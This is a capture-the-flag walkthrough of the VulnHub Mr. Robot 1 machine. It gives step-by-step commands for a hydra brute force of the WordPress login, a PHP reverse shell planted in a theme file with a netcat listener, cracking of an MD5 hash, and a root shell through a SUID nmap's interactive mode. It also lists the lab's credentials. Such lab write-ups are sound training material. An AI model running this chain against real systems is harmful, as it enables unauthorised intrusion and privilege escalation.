VulnHub: Mr. Robot 1 Machine Walkthrough & Exploit Chain

VulnHub: Mr. Robot 1 — Walkthrough Report

Author: Shashank Pachori (crypticrhino0)
Designation: R&D Intern, IDevSec
Target: Mr-Robot: 1 on VulnHub
Status: Boot2Root Completed (Keys 1, 2, and 3 Recovered)

1. Executive Summary

Mr. Robot: 1 is a themed boot2root Linux virtual machine hosted on VulnHub based on the popular TV series Mr. Robot. The objective is to retrieve three hidden key files by progressing through distinct phases of penetration testing:

Reconnaissance & Enumeration: Host discovery, port scanning, directory brute-forcing, and sensitive file extraction.
Initial Foothold: WordPress credential brute-forcing and theme payload injection to obtain a reverse shell.
Privilege Escalation (User
robot
): Configuration file inspection, MD5 hash cracking, and account switching.
Privilege Escalation (Root): SUID binary analysis and leveraging legacy
```
nmap
```
interactive mode for root shell access.

2. Lab Environment Setup

Attacker Machine: Kali Linux VM
Target Machine: Mr. Robot: 1 VM (VulnHub)
Network Configuration: Isolated custom virtual network (
```
VMnet1
```
host-only) allowing direct communication between Kali Linux and the target machine.

3. Reconnaissance

3.1 Host Discovery

Active host discovery was performed using

netdiscover

across the shared local subnet to identify the IP address assigned to the target VM:

netdiscover -r 192.168.1.0/24

3.2 Port Scanning

nmap

scan was executed against the target IP to discover open services:

nmap -sC -sV -oA nmap/mr_robot <TARGET_IP>

Port	Service	State	Notes
22/tcp	SSH	Filtered/Closed	Filtered during initial scan phase; evaluated during enumeration
80/tcp	HTTP	Open	Main web application (Apache)
443/tcp	HTTPS	Open	Web application running over SSL/TLS

3.3 Web Reconnaissance

Navigating to

http://<TARGET_IP>/

presented an interactive web interface themed with fsociety branding and terminal styling consistent with the show.

4. Enumeration & Discovery

4.1 Directory Brute-Forcing

Directory enumeration was conducted using

gobuster

with a standard web wordlist:

gobuster dir -u http://<TARGET_IP>/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Key Findings:

```
/wp-login.php
```
(WordPress login portal)
```
/wp-admin
```
(WordPress administrative control panel)
```
/robots.txt
```
(Robots exclusion file)

4.2 Sensitive File Recovery (Key 1)

Inspecting

/robots.txt

disclosed two sensitive resources:

User-agent: *
fsocity.dic
key-1-of-3.txt

Key 1: Retrieved directly by requesting

http://<TARGET_IP>/key-1-of-3.txt

curl -s http://<TARGET_IP>/key-1-of-3.txt

Wordlist (
fsocity.dic
): Downloaded locally for credential brute-forcing using

wget

wget http://<TARGET_IP>/fsocity.dic

4.3 Wordlist Optimization

The downloaded

fsocity.dic

contained numerous duplicate entries. To maximize dictionary attack efficiency, the file was sorted and deduplicated:

sort fsocity.dic | uniq > fsocity_clean.dic

5. Exploitation & Initial Access

5.1 WordPress Credential Brute-Forcing

WordPress displays distinct error messages for invalid usernames vs valid usernames with incorrect passwords. Using

hydra

, the login form at

/wp-login.php

was targeted with

fsocity_clean.dic

hydra -l elliot -P fsocity_clean.dic <TARGET_IP> http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username"

Recovered Credentials:

Username:
```
elliot
```
Password:
```
ER28-0652
```

5.2 Reverse Shell Payload Injection

Authenticated to the WordPress Dashboard at
```
http://<TARGET_IP>/wp-login.php
```
using
```
elliot:ER28-0652
```
.
Navigated to Appearance → Theme Editor.
Selected an active template (
```
404.php
```
) and replaced its content with a standard PHP reverse shell payload (
```
php-reverse-shell.php
```
), setting the listener IP to the Kali VM and port to
```
4444
```
.

5.3 Listener Setup & Execution

Started a netcat listener on the Kali attacker machine:

nc -lvnp 4444

Triggered the uploaded shell by sending an HTTP request directly to the modified theme file:

curl http://<TARGET_IP>/wp-content/themes/twentyfifteen/404.php

5.4 Shell Stabilization

Upon receiving the connection as

daemon

, the raw shell was upgraded to a fully interactive TTY:

python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm

6. Privilege Escalation to User

robot

6.1 Configuration & Database Inspection

Inspecting the WordPress configuration file (

wp-config.php

) revealed local database credentials:

cat /var/www/html/wp-config.php

6.2 User

robot

Home Directory Analysis

Enumerating

/home/robot

revealed two files:

```
key-2-of-3.txt
```
(Read permissions restricted to
```
robot
```
)
```
password.raw-md5
```
(World-readable file containing an MD5 password hash)

cat /home/robot/password.raw-md5

MD5 Hash:

c94652db97c721c9e0252d40b2ef5ebc

6.3 Hash Cracking & Account Switching

Cracking the MD5 hash via hashcat/John the Ripper or online cracking services yielded the plaintext password:

Decoded Password:
abcdefghijklmnopqrstuvwxyz

Switched user context to

robot

using

su

su robot
# Password: abcdefghijklmnopqrstuvwxyz

6.4 Key 2 Recovery

With

robot

access established,

key-2-of-3.txt

was read successfully:

cat /home/robot/key-2-of-3.txt

7. Privilege Escalation to Root

7.1 System SUID Binary Audit

Conducted a search for binaries with the Set owner User ID (

SUID

) bit set:

find / -perm -4000 -type f 2>/dev/null

Notable Discovery:

/usr/local/bin/nmap

(or

/usr/bin/nmap

) was configured with SUID permissions belonging to

root

7.2 Exploiting Legacy Nmap Interactive Mode

Older versions of

nmap

(v2.02 to v5.21) feature an interactive console (

--interactive

) that allows executing arbitrary shell commands via

!sh

. Since

nmap

ran under SUID root context, invoking interactive mode granted elevated privileges:

nmap --interactive

Inside the interactive nmap prompt:

nmap> !sh
# whoami
root

7.3 Key 3 Recovery

With root access achieved, the final key was extracted from

/root/key-3-of-3.txt

cat /root/key-3-of-3.txt

8. Summary of Flag Keys

Key Location Access Level Required Vector / Method Used

Key	Location	Access Level Required	Vector / Method Used
Key 1	`/key-1-of-3.txt`	Unauthenticated	Disclosed in `/robots.txt`
Key 2	`/home/robot/key-2-of-3.txt`	User: `robot`	WP Theme Reverse Shell → MD5 Hash Crack → `su robot`
Key 3	`/root/key-3-of-3.txt`	Root	SUID `nmap` interactive mode breakout ( `!sh` )

Key 1

/key-1-of-3.txt

Unauthenticated

Disclosed in

/robots.txt

Key 2

/home/robot/key-2-of-3.txt

User:

robot

WP Theme Reverse Shell → MD5 Hash Crack →

su robot

Key 3

/root/key-3-of-3.txt

Root

SUID

nmap

interactive mode breakout (

!sh

)

9. Conclusion & Lessons Learned

The Mr. Robot: 1 machine reinforces key offensive security principles:

Thorough Reconnaissance: Information leaks in
```
/robots.txt
```
can disclose both hidden targets and valuable wordlists (
```
fsocity.dic
```
).
CMS Security: Disabling file editing in WordPress (
```
DISALLOW_FILE_EDIT
```
) prevents authenticated administrative users from executing arbitrary code via theme modifications.
Password Security: Strong hashing algorithms (e.g., bcrypt/Argon2) should replace weak MD5 hashing for local system credentials.
Least Privilege & SUID Audit: Legacy binaries like
```
nmap
```
with interactive options must never carry SUID root permissions.